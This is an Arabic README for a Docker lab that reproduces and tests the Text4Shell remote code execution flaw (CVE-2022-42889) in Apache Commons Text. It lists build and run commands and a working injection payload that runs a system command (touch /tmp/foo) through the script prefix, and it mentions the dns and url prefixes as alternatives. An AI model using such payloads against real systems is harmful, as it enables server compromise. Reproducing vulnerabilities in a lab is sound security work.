
بيئة مختبرية مبنية على Docker لإعادة إنتاج واختبار ثغرة تنفيذ التعليمات البرمجية عن بعد CVE-2022-42889 (Text4Shell) في Apache Commons Text.
mvn clean install
docker build --tag=text4shell .
docker run -p 80:8080 text4shell
http://localhost/text4shell/attack?search=<anything>
${prefix:name} حيث أن prefix هو البحث المذكور آنفًا:${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
يمكنك أيضًا تجربة استخدام بادئات dns أو url.
احصل على معرف الحاوية
docker container ls
docker exec -it <container_id> bash
foo تم إنشاؤه في المجلد /tmp):ls /tmp/
docker container stop <container_id>